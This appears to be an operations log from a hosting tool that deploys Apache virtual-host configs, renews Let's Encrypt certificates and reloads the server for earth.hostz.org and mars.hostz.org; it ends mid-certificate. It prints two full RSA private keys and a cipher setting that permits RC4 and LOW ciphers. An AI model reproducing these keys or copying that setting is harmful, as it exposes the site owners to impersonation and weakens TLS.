    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_earth_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_earth_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_earth_us.conf= 1'
fi


2026-02-16 06:00:19: 

chmod 755 /tmp/pkp244078; /tmp/pkp244078; rm /tmp/pkp244078

2026-02-16 06:00:19: 




2026-02-16 06:00:19: 

PUT: /tmp/pkp657564

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-16 06:00:20: 

chmod 755 /tmp/pkp657564; /tmp/pkp657564; rm /tmp/pkp657564

2026-02-16 06:00:20: 


.


2026-02-16 06:00:20: Establishing a connection
2026-02-16 06:00:22: 

PUT: /tmp/pkp484583

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-16 06:00:23: 

chmod 755 /tmp/pkp484583; /tmp/pkp484583; rm /tmp/pkp484583

2026-02-16 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost localhost.localdomain (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:2)
                 alias www.carelinks.net
         port 80 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:2)
                 alias www.carelinks.org
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:3)
*:443                  is a NameVirtualHost
         default server carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
         port 443 namevhost carelinks.net (/etc/apache2/sites-enabled/carelinks_www_net.conf:20)
                 alias www.carelinks.net
         port 443 namevhost carelinks.org (/etc/apache2/sites-enabled/carelinks_www_org.conf:20)
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost earth.hostz.org (/etc/apache2/sites-enabled/pjy_earth_us.conf:24)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-16 06:00:23: 

PUT: /tmp/pkp461258

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/pjy_earth_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-16 06:00:23: 

chmod 755 /tmp/pkp461258; /tmp/pkp461258; rm /tmp/pkp461258

2026-02-16 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_earth_us.conf	1555
ExtendedStatus	on

<VirtualHost *:80>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/earth_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	earth.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_earth
    <Directory /var/www/hostz_earth>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_earth/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/earth_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/earth_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-16 06:00:24: 

PUT: /tmp/pkp674536

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-16 06:00:24: 

chmod 755 /tmp/pkp674536; /tmp/pkp674536; rm /tmp/pkp674536

2026-02-16 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	5348
a4:a6:28:23:f9:84:5f:eb:a8:76:bb:79:18:b5:22:b7

-----BEGIN CERTIFICATE-----
MIIE+DCCA+CgAwIBAgISBu/3KUYvG3Aedxdg04dMuuO6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE2MDUwMTQyWhcNMjYwNTE3MDUwMTQxWjAaMRgwFgYDVQQD
Ew9lYXJ0aC5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCSXeYf+BFN2f0HGxtTMYeCddWCqOgvJ/ZPky8Qc6t71cLxXwXhS1HcTgzCWF6G
1Ai1BBC3Gsm2ON6ccfeeFgMY6ojgdUVUJp1Z//1bRUFDT2HtJPduStxmriPCG6tb
xOLmIuB+Mdn9OeYBWclcktclm3aS1rK5W92FIONfLm+lwRyv4hmgIoEa3WxmVjFO
KXVBYBAKNDGoGliFOjteIx9qar4JyJd1Ce4g2SNZZS0ilU5paSKKArcgsrkDGcz1
T8CTETFwiCgBV4YlVflvcP246ObjOO7KQI78ksifhknH1TMF8B10ZP8bw00jvVj2
nuhe+TLH/QzOc1rZ+pR3dbeBAgMBAAGjggIdMIICGTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUz+DJ
aF0O/JmY7w+6X5A4/CXp5MQwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9lYXJ0aC5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy81OS5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdQAWgy2r8KklDw/wOqVF
/8i/yCPQh0v2BCkn+OcfMxP1+gAAAZxlCPaOAAAEAwBGMEQCIFyKqpquLjdh4f97
RNnI506oMbDDHfCXY8OKZNw2doCAAiBRPgnknYiPME5O5M+Y/0YEdWng1I1luawG
geQYKgVuVQB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2ANH3H0af/H0ayjAAABnGUI
+MUACAAABQBIxjNYBAMASDBGAiEA+KPULx6/UoV8yE0nLU1Y4NyQrmbJj/dpVz1L
8wi0efECIQCcKmspoJDcEqY+mYsXGbBUP0gisw0eRFJQVHcvijIouTANBgkqhkiG
9w0BAQsFAAOCAQEAKHOFg+/MABgclAmBQzjEs1tVGXq2lzKYkYUjTYhrYcdTaI3w
s9YsKulFxIfiO38jkrRkp1u4MhQ52IcOrw+xxO8BSdAu4Ir3bJvS3j6O+fLtR5l5
XjKORVrZo3cZo9g0fegMoOZjlBHnzWKEj8rTJhdyWjxknmm6lCPdfMLrYFOPYafH
Wby46mIB2B694VdOSQcbUSPCk2ky5+4TTVoPEo8rGcLrgQq1m5a+HYDbW4+nkSOX
MMWuTEkBeDTzVj6KVCQB6ZCpftF+6kSULRxLtPxNmtfpVCrtoxQfP49gp/wpeT4Z
VnhWyMTPYtXs9n5exwKNV+BWynsaQkdk7lI9ag==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCSXeYf+BFN2f0H
GxtTMYeCddWCqOgvJ/ZPky8Qc6t71cLxXwXhS1HcTgzCWF6G1Ai1BBC3Gsm2ON6c
cfeeFgMY6ojgdUVUJp1Z//1bRUFDT2HtJPduStxmriPCG6tbxOLmIuB+Mdn9OeYB
Wclcktclm3aS1rK5W92FIONfLm+lwRyv4hmgIoEa3WxmVjFOKXVBYBAKNDGoGliF
OjteIx9qar4JyJd1Ce4g2SNZZS0ilU5paSKKArcgsrkDGcz1T8CTETFwiCgBV4Yl
VflvcP246ObjOO7KQI78ksifhknH1TMF8B10ZP8bw00jvVj2nuhe+TLH/QzOc1rZ
+pR3dbeBAgMBAAECggEACFzeF6iEUJbqapwFYSj8zZru8pK1BXC6lYxazY1WWHJ7
u2/K9bboe/ZnqzkCWaDGyJTtYZDhwowYSAcI91rZnXRVEsIQjoDQT8KdFrhrxK1F
8pdAneggFKvRdjc/gLRMpIqMmhk+E8ZZmm0nYKcxLMBns3cZ6hZSH1ekNh2Amo9K
dRxyYe9YOdx9N5GBKRL/1bCwK49iQjtHrCVyzgsR6hhLc/6TPyz4eznutFVu2O0r
LT+pnCD0uhIQb9XFShpePJhac3rs+vIBdJBKUS/ZTlWdG8yHkVEvtFS7CG+S70MF
lXYbyEN5831WIIfI7gPZq/dB0+sCdfOzP2L+JqHwIwKBgQDFNZXMi8XulFNl1c9c
Z09wndQDx6wUXe8OPXdeb0xUbl510c+SKJ8D+66iwH7PB6ZiFtKl4csdpaq4C0Ml
ZV6MAUrskSHEUQA/kP5XNbrH7Y9+DyTVIx4K5WD/G27oAWWPwv2mTBN8sVyw1VSd
HmNuD9DNiyKY3I91w+5YAue3FwKBgQC+ACrEfZATatX52Cj7fVD7mflgTNE2B9m8
JobOVlIp+BpChkA+GCLhG3a8d/AHdbB2f3KR3Xh0mEW9Fi3h2o3Pj06frOKdZjts
R3JoUfh+C7AjCCFoHUoq1h0Uz4+l8r2nrB3T3y6pa9neh11jOHlNipuS3FSQhl9I
lphrhHGlJwKBgFjhcrcyk62YWhH+kCuEQFBwQZrGhi7Tuyc+2qrMHKm86IPPYO7t
seVYrHebrEtglkOFJ8Eth57ACLZUFRoomrkc6AjAzGgvXZ5ImejyRVFQJyjYaHBL
GIIuqU2wroaQApcNecZWaT38rdrg+vapOITlSeUpfRlJ5rpb6PLvtEFXAoGAAdr+
j+yp+4aPkGEMBWiz4cEfLlGRuXVaKvw1VM6C/uXtW7jz56dUr94UysJhFbGQh5e3
BrWi94CFLdOJnysDN4OuwOBvVhopemU4OMyUIKb8kVsC+IFQuBpfLlTYkkZMk9aa
c/c5/W2QMxwfTVi/1oIEAusj6EVnqM3Prz0b3wECgYEAiJgFNISs0iminBiXVhNp
IxEBofvdev9MGGnP2FQPCjEWrayMWTLYY2AfXAsOWm4ASgQ2d9LOPODxrsGIKgPD
09SOJkS4Usb+cvZKf7shLG1oNzzIaO0CvuBC0bxSex0i8tjMk0Dr56Yu+hNyRpNI
1lah9MhZkLfFq9t9qpiacjU=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-16 06:00:25: Establishing a connection
2026-02-16 06:00:25: Establishing a connection
2026-02-16 06:00:25: 

PUT: /tmp/pkp503554

#!/bin/bash
if [ -d "/var/www/hostz_mars/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-16 06:00:26: 

chmod 755 /tmp/pkp503554; /tmp/pkp503554; rm /tmp/pkp503554

2026-02-16 06:00:26: 


1


2026-02-16 06:00:26: Establishing a connection
2026-02-16 06:00:26: 

PUT: /tmp/pkp413304

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
cat > owCCtide3zCJTYp4nSzbtGlm2dDcA0Aptg2wOveH9ng <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
owCCtide3zCJTYp4nSzbtGlm2dDcA0Aptg2wOveH9ng.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 owCCtide3zCJTYp4nSzbtGlm2dDcA0Aptg2wOveH9ng


2026-02-16 06:00:26: 

chmod 755 /tmp/pkp413304; /tmp/pkp413304; rm /tmp/pkp413304

2026-02-16 06:00:26: 




2026-02-16 06:00:30: Establishing a connection
2026-02-16 06:00:30: 

PUT: /tmp/pkp119531

#!/bin/bash
mkdir -p "/var/www/hostz_mars/.well-known/acme-challenge/"
cd "/var/www/hostz_mars/.well-known/acme-challenge/"
rm owCCtide3zCJTYp4nSzbtGlm2dDcA0Aptg2wOveH9ng


2026-02-16 06:00:30: 

chmod 755 /tmp/pkp119531; /tmp/pkp119531; rm /tmp/pkp119531

2026-02-16 06:00:30: 




2026-02-16 06:00:30: Establishing a connection
2026-02-16 06:00:30: 

PUT: /tmp/pkp173314

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
cc:41:67:34:19:26:df:67:80:6d:73:29:80:c5:c6:63

-----BEGIN CERTIFICATE-----
MIIE7jCCA9agAwIBAgISBnkGUslozB6rFYFcTo9FDTX5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE2MDUwMTU5WhcNMjYwNTE3MDUwMTU4WjAZMRcwFQYDVQQD
Ew5tYXJzLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANsdZOHWlUzEjQ1MgH5zRFnODOqfquIdJJ3OyoWlJ0PavTpV8hMUTAr8pr950D/t
vx4gQt63OWv/ePVytKX0tNj30obF+HdyVsYOzapuV2+DGlK1zIX27zzWPrUzcXRj
hE7T7gyiwrXcyTdtOgheshuplrxef2A+I7TovE/lzLP2uLnaOBQV/N4AZMZUS8Tl
x0G6f16LjA5uoEFofJT6nVelgviO6YzQsOsTQ5X5X0seWlcf3bSdN4ty8i/K6C2h
PdexB786uOh8r9XWFkHpza0gLeweoYtrZJKtXG/fghrkwiZ7F2no4iK5ObVG5oTY
zL4NToKEEo69XSJfLD78ruECAwEAAaOCAhQwggIQMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQTd3Vw
CO69M7o+WhmctIHBjHc2gDAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR
0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDm1hcnMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1ABaDLavwqSUPD/A6pUX/
yL/II9CHS/YEKSf45x8zE/X6AAABnGUJO34AAAQDAEYwRAIgMDcSCo6GvPknq+zb
pbNZoX1286KwqNeMRw51fA3NRSACIAkvvzrlbFSmiklTs0s8Ip+/R7FbMC7SaS3u
DFXr4IOzAHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGcZQk7
hQAABAMARzBFAiEAgYUr/MXyYZ1ymj+Jch+Df2MpqwdoJy0K6bT1aSvFvdQCICPv
3TrlGsVQfA2MTywLBEGRWMw4xy9ndcoQn039HuiLMA0GCSqGSIb3DQEBCwUAA4IB
AQBVKX4IZfbeukDGmX6IJweb5qDvmQWAjZlWSJi1+LnhdBnLuFjP0NB+nqbKpjF1
kacTREEoPyrDUCw4IIOcFIpvIPbPJdxEBMFXliO05imMcQ2kITGb7DouZ834g3B8
FE+kQAKXa1S7GOBpnZd8O0x9qH571z/JoInX6Ouhf96syiDpOUvTjT8rle8nCmW8
2i1aPkIZHrW+CRWveQ5MCbEbZ01GikXMJrQlmcHWtv22Tq9Ra/5KjEMRiHSktQdH
At6RudnTO66TKDqD6eT+eVRoxrMnUKQHR3bLrYUucDgCBDJO6hiUkuZCg2zNfpMV
c5aOars0c9fG3iBoFinL9CaH
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbHWTh1pVMxI0N
TIB+c0RZzgzqn6riHSSdzsqFpSdD2r06VfITFEwK/Ka/edA/7b8eIELetzlr/3j1
crSl9LTY99KGxfh3clbGDs2qbldvgxpStcyF9u881j61M3F0Y4RO0+4MosK13Mk3
bToIXrIbqZa8Xn9gPiO06LxP5cyz9ri52jgUFfzeAGTGVEvE5cdBun9ei4wObqBB
aHyU+p1XpYL4jumM0LDrE0OV+V9LHlpXH920nTeLcvIvyugtoT3XsQe/OrjofK/V
1hZB6c2tIC3sHqGLa2SSrVxv34Ia5MImexdp6OIiuTm1RuaE2My+DU6ChBKOvV0i
Xyw+/K7hAgMBAAECggEAAnVNtq/o3GPfHj1Turdx1p0WbYJtkRxZFxElGgM8kckQ
MumYbejeIohrmX3VHYZ+DKk5ftSo5wKGeaB4EN2SMtXy7XKmozZr7Uxot8cFoZlj
r/ZcrUsUK4dOzEsftHnSV+0OQGOKEi7ALihCTKo9TsykBYh83thLn8G1rSLLnWA7
pu1pQGdxN8Jj7yTfcEiFXUB/ZHNC9uWQkD5oDDf5W3FYSpZDAoCifFgW2GW/vy2E
Qcj0lVaTVg+SmX1YLyCsvH6JBHEQfzc0ilhCjKWtAvaoX4ehcYqNJEc99enEW2d3
lOUI+YlNB/Y+n3LWyVcQaQ7lUX14TQ+HER+qPPn68QKBgQD7dYBA3/UBHNAdQ0Aa
iImaiDw4GxU2gQiAF8Rj4zxaaAsvx061qQfpKMwUJhH1dVayR+4rJWK+CclbhP7/
frnsD4r1g3J5P2fD5UysnqYVxx3BT7IDtVnQdipkG4L5IEWXeCSrRm08co6/rpn1
51gSVhGtqBIjmthfg9ajD3XwqQKBgQDfEl2PKXEcELXTjkmyRP3adXjU0TSOxeGR
0sfFQu1Tly57QcVZI+Ll4kjcOf15AaViJOGpZ5FI+Y4zU68JVbs8IsFbGTJg0HFc
jwdRH5LfzcCAN8x2bpLdM5567i2cVJnGXbFuHaRcZEDnosLLH5m1wA2aRxBtrg6N
zO9MHiDXeQKBgDtUewFTljQ//x6YanyYMJdkg4jdYwDsKvxGH1FOIURXfiQ0y25z
RmmN9bDfVqdqmx0PebN2a7jZCEhutdfEp8t501igPhc7jZkb9h5YhGlpBK1Cx4a2
eE2GQ/RAxYNQSPs3HrfGsylrAiFZ6fuqLQ6OfjdSC42ZEGpg6fipQjOZAoGABZJq
3dmWJrJQKGGke5x3js5iX0Z+fpZ4xPCz5rx+OxlKou+Io2pfD4jwcvfL2grte58a
N+YLXfxFzghoFd6bV6wykjj15i8utbYo46DbRVXZWhqKs+adKoNQkReD8iS21pqe
hPaelWQ3rtGE9hfq+fw7GsBtq5+uY2JcE9Wo0lkCgYEAjRNE74pt/Yfk3jraSEuq
B+w66W1251TS40ktTXpuR5l/Cryvr3yOwBY2Z5PuXX3iVvu6OVq8yiiZ7cgB9ed7
oKAzDJEso0NUQCz3yh5eK6uk/9Me/duYbGlr54wzT0PVRPfz/nggJKD3BBlnmZ35
0Syt9EjAO9S+Zu4RJJ6FAoc=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
